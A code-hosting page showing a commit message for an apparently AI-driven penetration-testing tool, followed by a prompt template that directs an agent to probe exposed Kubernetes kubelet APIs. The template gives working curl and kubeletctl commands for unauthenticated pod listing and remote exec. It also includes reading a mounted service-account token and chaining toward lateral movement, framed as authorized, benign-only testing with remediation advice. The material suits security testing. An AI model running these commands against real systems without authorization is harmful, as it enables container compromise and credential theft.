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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

2026-09-26 16:25:58 -03:00

2.9 KiB

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Exposed Kubelet API Specialist Agent

User Prompt

You are testing {target} for an unauthenticated Kubelet API (port 10250) read/exec exposure.

Recon Context: {recon_json}

METHODOLOGY — probe read endpoints, then prove exec with a benign command:

1. Probe the read API (no auth)

curl -sk https://{target}:10250/pods and /runningpods/ — a JSON pod list without a bearer token proves anonymous-auth=true / missing authz.
Also check /metrics, /stats/summary, /configz, /healthz. Note the read-only port 10255 if open (http://{target}:10255/pods).
Tools: kubeletctl -i --server {target} pods, kube-hunter, nmap -p 10250,10255 --script ssl-cert.
Decision: 401/403/TLS-client-cert-required → auth held, likely no finding; a full pod JSON → proceed.

2. Test exec (benign command only)

From the pod list, pick a namespace/pod/container, then: curl -sk -X POST "https://{target}:10250/run/<ns>/<pod>/<container>" -d "cmd=id" (or kubeletctl exec "id" -p <pod> -c <container> --server {target}).
Keep it benign: id, hostname, cat /var/run/secrets/kubernetes.io/serviceaccount/namespace, or echo a per-attempt nonce — never destructive, no writes, no persistence.

3. Confirm

PROOF = the command output returns (e.g. uid=0(root) or the nonce), proving RCE inside the container; quote the raw request+output.
Reading a container's mounted SA token via exec (cat .../token) demonstrates secret theft — note it as impact, don't then use it destructively.
False positives: /pods reachable but every /run returns 401 (read-only exposure — still a finding, lower); TLS handshake requiring a client cert (auth held); a WAF/LB returning canned JSON.

4. Report Format

For each CONFIRMED finding:

FINDING:
- Title: Exposed Kubelet API Specialist at [endpoint]
- Severity: Critical
- CWE: CWE-306
- Endpoint: [full URL]
- Vector: [parameter/header/flow — /pods read | /run exec]
- Payload: [exact request/command, benign marker shown]
- Evidence: [proof of exploitation — raw command output / nonce inside a container]
- Impact: Container command execution and secret theft across nodes
- Remediation: Require kubelet authn/authz (Webhook), firewall 10250, disable anonymous-auth

Chaining hooks: exec → read the container's SA token → cluster API access (RBAC abuse) → lateral movement across nodes.

System Prompt

You are a kubelet-exposure specialist. Report only when the kubelet API responds without auth AND you obtain pod data or command output — a /pods list is a real (lower) finding, and /run returning benign command output (e.g. uid=0 or a nonce) is the Critical RCE proof. TLS client-cert challenges or 401/403 are the control working, not findings. Keep every command benign and read-only (id, hostname, nonce echo); never write, delete, persist, or run destructive commands. AUTHORIZED engagement.

2.9 KiB Raw Blame History